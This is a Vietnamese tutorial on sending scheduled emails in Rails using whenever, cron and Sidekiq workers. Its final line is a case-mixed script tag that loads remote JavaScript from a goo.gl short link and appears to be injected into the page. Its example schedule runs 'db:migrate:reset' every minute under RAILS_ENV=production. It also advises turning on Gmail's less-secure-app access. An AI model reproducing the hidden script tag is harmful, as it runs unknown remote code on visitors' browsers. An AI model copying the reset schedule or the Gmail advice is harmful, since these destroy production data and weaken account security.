gửi mail tự động với whenever và sidekiq
Bài đăng này đã không được cập nhật trong 8 năm
Gửi mail là một trong những chức năng không thể thiếu của một trang web, mail tự động nhằm mục đích báo cáo tình hình hoạt động của một trang web cho người quản lý cũng như các user.
Bắt đầu với gửi mail tự động, ta bắt đầu vói việc lập lịch bằng whenever
Thêm gem whenever vào gem file và bundle
gem 'whenever', :require => false
Khởi tạo file thực thi
bundle install
wheneverize .
Sau khi khởi chạy dòng lệnh trên, ta bắt đầu config thời gian chạy.
+---------------- minute (0 - 59)
| +------------- hour (0 - 23)
| | +---------- day of month (1 - 31)
| | | +------- month (1 - 12)
| | | | +---- day of week (0 - 6) (Sunday=0)
| | | | |
* * * * * command to be executed
Example
#config/schedule.rb
every 1.minutes do
rake "db:migrate:reset"
end
Sau khi config xong thời gian tự động chạy, ta update cho hệ thống
whenever --update-crontab
#[write] crontab file updated
Ta có thể thấy lịch trình trên terminal theo định dạng
* * * * * /bin/bash -l -c 'cd /home/ngocha/workspace/fts_62 && RAILS_ENV=production bundle exec rake db:migrate:reset --silent'
Ngoài ra còn 1 số lệnh để cài đặt hệ thống
crontab -l : xem lịch hệ thống
crontab -r : xóa lịch hệ thống
Ở đây, chúng ta đã hoàn thành lập lịch cho hệ thống với 1 lệnh rake, nhưng chúng ta cần phải kết hợp với send mail sử dụng sidekiq.
Đầu tiên, chúng ta cần phải gửi mail bằng hệ thống mặc định của rails.
#app/mailers/user_mailer.rb
class UserMailer < ApplicationMailer
default from: Settings.mail_from
def mail_month course
@supervisor = course.supervisor
...
mail to: @supervisor.email, subject: t("mail.mail_month", content: @course.content)
end
end
#app/view/user_mailer/mail_month.html.erb
<h1><%= @supervisor.name %></h1>
...
#config/environments/development.rb
config.consider_all_requests_local = true
config.action_controller.perform_caching = false
config.action_mailer.default_url_options ={host: "localhost", port: 3000}
# Don't care if the mailer can't send.
config.active_job.queue_adapter = :sidekiq
config.active_job.queue_name_prefix = "mysite"
config.active_job.queue_name_delimiter = "_"
config.action_mailer.perform_deliveries = true
config.action_mailer.raise_delivery_errors = true
config.action_mailer.delivery_method = :smtp
config.action_mailer.smtp_settings = {
address: "smtp.gmail.com",
port: 587,
domain: "example.com",
user_name: ENV["GMAIL_USERNAME"],
password: ENV["GMAIL_PASSWORD"],
authentication: "plain",
enable_starttls_auto: true}
Ở đây, ta có thể test việc gửi mail bằng cách gọi
UserMailer.mail_month(course).deliver_now
Hãy nhớ config tài khoản Gmail của bạn cho phép truy cập với độ tin cậy thấp và unlock captcha. Nếu bạn chưa config hãy config theo link dưới đây
https://www.google.com/settings/security/lesssecureapps
https://accounts.google.com/b/0/DisplayUnlockCaptcha
Sau khi test đã gửi được mail với mail thường, chúng ta sẽ tiếp tục đưa mail chạy qua sidekiq nhằm mục đích giảm tải cho sever.
Khi bạn gửi mail qua sidekiq, sidekiq sẽ tạo ra một hệ thống gửi mail chạy độc lập với sever. Do đó nó sẽ giảm tải cho sever trong quá trình gửi mail.
gem "sidekiq"
bundle install
Sau đó ta tạo folder workers trong thư mục app. và tạo các file worker trong thư mục này
#app/workers/monthly_worker.rb
class MonthlyWorker
include Sidekiq::Worker
MAIL_MONTH = 1
def perform action
case action
when MAIL_MONTH
Course.all.each do |course|
send_email_when_end_month course
end
end
end
private
def send_email_when_end_month course
UserMailer.mail_month(course).deliver_now
end
end
Nhớ bật sever sidekiq trong terminal bằng lệnh bundle exec sidekiq
.
Tới đây chúng ta đã thành công trong việc gửi mail thông qua sidekiq.
Việc cuối cùng chúng ta cần làm là gắn lịch hệ thống với tiến trình gửi mail của sidekiq
Như đã nói ở trên, sau mỗi chu trình lập lịch whenever sẽ chạy lệnh rake
#config/schedule.rb
rake "db:migrate:reset"
một lần. Ở đây, ta cần tìm hiểu về lệnh rake 1 chút
Để chạy được lệnh rake ta cần tạo foldler tasks trong thư mục lib và tạo 1 file :rake
trong đó.
#lib/tasks/job:rake
namespace :job do
desc "TODO"
task mailmonth: :environment do
MonthlyWorker.perform_async MonthlyWorker::MAIL_MONTH
end
end
Ta cần config lại đia chỉ rake của whenever để nó chỉ tới mail hệ thống.
#config/schedule.rb
set :environment, "development"
#để kiểm soát lỗi gửi mail hệ thống
set :output, ".../log.log" #đường dẫn tuyệt đối
every "0 0 1 * *" do
rake "job:mailmonth"
end
Ta có thể test thử bằng rails c của terminal để xem sidekiq có chạy không bằng lệnh rake "job:mailmonth"
cuối cùng ta update lại crontab của whenever bằng lệnh whenever --update-crontab
Có thể 1 số bạn sẽ không gửi được mail hoặc gửi mail báo lỗi ` ``undefine bundler```. Trong trường hợp này chúng ta cần chạy bundle cho vendor.
bundle install --path=vendor/bundle
Việc gửi mail tự động đến đây đã hoàn thành, chúc các bạn thành công trong công việc. Cám ơn đã xem bài viết của mình.
tài liệu tham khảo
https://launchschool.com/blog/cron-jobs-and-rails
https://github.com/javan/whenever
https://github.com/mperham/sidekiq/wiki/Getting-Started
<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>
All rights reserved